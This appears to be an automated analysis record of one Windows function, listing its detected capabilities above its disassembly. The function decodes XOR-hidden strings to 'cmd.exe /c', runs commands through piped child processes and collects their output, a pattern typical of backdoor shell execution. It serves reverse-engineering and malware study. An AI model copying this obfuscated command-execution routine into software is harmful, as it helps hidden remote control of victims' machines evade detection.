Function at 0x4aef9d
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create process suspended
Encode data using xor
Read file on windows

Disassembly:
push 0x268
mov eax, 0x5b9b02
call fcn.005b7381
mov ebx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x254], ebx
mov dword [ebp - 0x258], ebx
mov dword [ebp - 4], ecx
lea edi, [ebp - 0x84]
xor eax, eax
stosd dword es:[edi], eax
push 0xf
pop esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], esi
mov byte [ebp - 0x84], cl
mov byte [ebp - 4], 1
mov dword [ebp - 0x230], 0x7a
mov eax, dword [ebp - 0x230]
xor al, 0x43
mov byte [ebp - 0x22c], al
mov eax, dword [ebp - 0x230]
inc al
xor al, 0x3a
mov byte [ebp - 0x22b], al
mov eax, dword [ebp - 0x230]
add al, 2
xor al, 0x5c
mov byte [ebp - 0x22a], al
mov eax, dword [ebp - 0x230]
add al, 3
xor al, 0x57
mov byte [ebp - 0x229], al
mov eax, dword [ebp - 0x230]
add al, 4
xor al, 0x69
mov byte [ebp - 0x228], al
mov eax, dword [ebp - 0x230]
add al, 5
xor al, 0x6e
mov byte [ebp - 0x227], al
mov eax, dword [ebp - 0x230]
add al, 6
xor al, 0x64
mov byte [ebp - 0x226], al
mov eax, dword [ebp - 0x230]
add al, 7
xor al, 0x6f
mov byte [ebp - 0x225], al
mov eax, dword [ebp - 0x230]
add al, 8
xor al, 0x77
mov byte [ebp - 0x224], al
mov eax, dword [ebp - 0x230]
add al, 9
xor al, 0x73
mov byte [ebp - 0x223], al
mov eax, dword [ebp - 0x230]
add al, 0xa
xor al, 0x5c
mov byte [ebp - 0x222], al
mov eax, dword [ebp - 0x230]
add al, 0xb
xor al, 0x53
mov byte [ebp - 0x221], al
mov eax, dword [ebp - 0x230]
add al, 0xc
xor al, 0x79
mov byte [ebp - 0x220], al
mov eax, dword [ebp - 0x230]
add al, 0xd
xor al, 0x73
mov byte [ebp - 0x21f], al
mov eax, dword [ebp - 0x230]
add al, 0xe
xor al, 0x74
mov byte [ebp - 0x21e], al
mov eax, dword [ebp - 0x230]
add al, 0xf
xor al, 0x65
mov edx, ecx
mov byte [ebp - 0x21d], al
mov eax, dword [ebp - 0x230]
add al, 0x10
xor al, 0x6d
mov byte [ebp - 0x21c], al
mov eax, dword [ebp - 0x230]
add al, 0x11
xor al, 0x33
mov byte [ebp - 0x21b], al
mov eax, dword [ebp - 0x230]
add al, 0x12
xor al, 0x32
mov byte [ebp - 0x21a], al
mov eax, dword [ebp - 0x230]
add al, 0x13
xor al, 0x5c
mov byte [ebp - 0x219], al
mov eax, dword [ebp - 0x230]
add al, 0x14
xor al, 0x63
mov byte [ebp - 0x218], al
mov eax, dword [ebp - 0x230]
add al, 0x15
xor al, 0x6d
mov byte [ebp - 0x217], al
mov eax, dword [ebp - 0x230]
add al, 0x16
xor al, 0x64
mov byte [ebp - 0x216], al
mov eax, dword [ebp - 0x230]
add al, 0x17
xor al, 0x2e
mov byte [ebp - 0x215], al
mov eax, dword [ebp - 0x230]
add al, 0x18
xor al, 0x65
mov byte [ebp - 0x214], al
mov eax, dword [ebp - 0x230]
add al, 0x19
xor al, 0x78
mov byte [ebp - 0x213], al
mov eax, dword [ebp - 0x230]
add al, 0x1a
xor al, 0x65
mov byte [ebp - 0x212], al
mov eax, dword [ebp - 0x230]
add al, 0x1b
xor al, 0x20
mov byte [ebp - 0x211], al
mov eax, dword [ebp - 0x230]
add al, 0x1c
xor al, 0x2f
mov byte [ebp - 0x210], al
mov eax, dword [ebp - 0x230]
add al, 0x1d
xor al, 0x63
mov byte [ebp - 0x20f], al
mov eax, dword [ebp - 0x230]
add al, 0x1e
mov byte [ebp - 0x20d], cl
xor al, 0x20
mov byte [ebp - 0x20e], al
mov al, byte [ebp - 0x22c]
mov al, byte [ebp + edx - 0x22c]
mov ecx, dword [ebp - 0x230]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x22c], cl
inc edx
cmp edx, 0x1f
jb 0x4af1e5
lea eax, [ebp + 0xc]
mov byte [ebp - 0x20d], 0
push eax
lea edx, [ebp - 0x22c]
lea ecx, [ebp - 0x9c]
call fcn.004a18c0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x20c]
mov dword [esp], 0x104
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
cmp dword [ebp - 0x88], esi
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x20c], ecx
lea ecx, [ebp - 0x20c]
cmova eax, dword [ebp - 0x9c]
push 3
push eax
call fcn.004b7ae3
mov edi, 0x1000
mov byte [ebp - 4], 3
and dword [ebp - 0xa4], 0
lea eax, [ebp - 0xa8]
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push edi
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xa8], 0xc
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0xa0], 1
push eax
call esi
push edi
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call esi
push edi
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
call esi
push 0x44
lea eax, [ebp - 0x104]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x44]
lea edi, [ebp - 0xb8]
mov dword [ebp - 0xcc], eax
add esp, 0xc
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xc4], eax
xor eax, eax
stosd dword es:[edi], eax
mov dword [ebp - 0xd8], 0x100
mov dword [ebp - 0x104], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x104]
push eax
xor eax, eax
push eax
push eax
push 0x8000020
push 1
push eax
push eax
push dword [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4af4dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x17]
xor edx, edx
dec ecx
push 0xa
pop esi
div esi
add dl, 0x30
mov byte [ecx], dl
test eax, eax
jne 0x4af34f
push ecx
lea eax, [ebp - 0x17]
push eax
push ecx
lea ecx, [ebp - 0x274]
call fcn.004a1b43
mov byte [ebp - 4], 4
xor edx, edx
mov dword [ebp - 0x250], 3
mov byte [ebp - 0x24c], 0x40
mov byte [ebp - 0x24b], 0x71
mov byte [ebp - 0x24a], 0x66
mov byte [ebp - 0x249], 0x62
mov byte [ebp - 0x248], 0x77
mov byte [ebp - 0x247], 0x66
mov byte [ebp - 0x246], 0x53
mov byte [ebp - 0x245], 0x71
mov byte [ebp - 0x244], 0x6c
mov byte [ebp - 0x243], 0x60
mov byte [ebp - 0x242], 0x66
mov byte [ebp - 0x241], 0x70
mov byte [ebp - 0x240], 0x70
mov byte [ebp - 0x23f], 0x54
mov byte [ebp - 0x23e], 0x23
mov byte [ebp - 0x23d], 0x45
mov byte [ebp - 0x23c], 0x62
mov byte [ebp - 0x23b], 0x6a
mov byte [ebp - 0x23a], 0x6f
mov byte [ebp - 0x239], 0x23
mov byte [ebp - 0x238], 0x44
mov byte [ebp - 0x237], 0x4f
mov byte [ebp - 0x236], 0x46
mov byte [ebp - 0x235], 0x39
mov byte [ebp - 0x234], 0x23
mov al, byte [ebp - 0x24c]
mov byte [ebp - 0x233], 0
mov al, byte [ebp + edx - 0x24c]
mov ecx, dword [ebp - 0x250]
xor cl, al
mov byte [ebp + edx - 0x24c], cl
inc edx
cmp edx, 0x19
jb 0x4af43d
lea eax, [ebp - 0x274]
mov byte [ebp - 0x233], 0
push eax
lea edx, [ebp - 0x24c]
mov ecx, ebx
call fcn.004a1912
pop ecx
lea ecx, [ebp - 0x274]
call fcn.004a1505
lea eax, [ebp - 0x208]
mov byte [ebp - 4], 5
cmp dword [ebp - 0x20c], eax
je 0x4af49f
push dword [ebp - 0x20c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea ecx, [ebp - 0x9c]
call fcn.004a1505
mov edx, dword [ebp - 0x70]
push 0xf
pop esi
cmp edx, esi
jbe 0x4af4c0
mov ecx, dword [ebp - 0x84]
inc edx
call fcn.004a1f75
and dword [ebp - 0x74], 0
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x70], esi
mov byte [ebp - 0x84], 0
call fcn.004a1505
mov eax, ebx
jmp 0x4af679
push dword [ebp - 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x44]
call esi
push dword [ebp - 0xb4]
call esi
push dword [ebp - 0xb8]
call esi
xor eax, eax
lea edi, [ebp - 0x6c]
stosd dword es:[edi], eax
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov edi, 0x1000
mov byte [ebp - 4], 6
push edi
lea ecx, [ebp - 0x6c]
call fcn.004b6d97
push ebx
mov ebx, dword [ebp - 0x6c]
lea eax, [ebp - 0x48]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x4af57f
cmp dword [ebp - 0x48], 0
je 0x4af589
push dword [ebp - 0x48]
lea ecx, [ebp - 0x60]
push ebx
call fcn.004a1245
mov byte [ebp - 4], 7
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp - 0x50]
cmova eax, dword [ebp - 0x60]
push eax
call fcn.004a1571
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 6
call fcn.004a1505
push 0
lea eax, [ebp - 0x48]
push eax
push 0x1000
push ebx
push dword [ebp - 0x34]
call edi
test eax, eax
jne 0x4af538
and dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push 0
push eax
push 0x1000
push ebx
push dword [ebp - 0x3c]
call edi
jmp 0x4af60b
cmp dword [ebp - 0x48], 0
je 0x4af60f
push dword [ebp - 0x48]
xor eax, eax
lea edi, [ebp - 0x60]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x60]
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x50], 0
and dword [ebp - 0x4c], 0
call fcn.004a1da8
mov byte [ebp - 4], 8
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp - 0x50]
cmova eax, dword [ebp - 0x60]
push eax
call fcn.004a1571
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x4c]
cmp edx, 0xf
jbe 0x4af5f6
mov ecx, dword [ebp - 0x60]
inc edx
call fcn.004a1f75
push 0
lea eax, [ebp - 0x48]
push eax
push 0x1000
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4af5a0
push dword [ebp - 0x34]
call esi
push dword [ebp - 0x3c]
call esi
push dword [ebp - 0x40]
call esi
mov esi, dword [ebp - 0x254]
lea eax, [ebp - 0x84]
push eax
mov ecx, esi
call fcn.004a11d3
lea ecx, [ebp - 0x6c]
call fcn.004b6221
lea eax, [ebp - 0x208]
mov byte [ebp - 4], 9
cmp dword [ebp - 0x20c], eax
je 0x4af659
push dword [ebp - 0x20c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea ecx, [ebp - 0x9c]
call fcn.004a1505
lea ecx, [ebp - 0x84]
call fcn.004a1505
lea ecx, [ebp + 0xc]
call fcn.004a1505
mov eax, esi
call fcn.005b7330
ret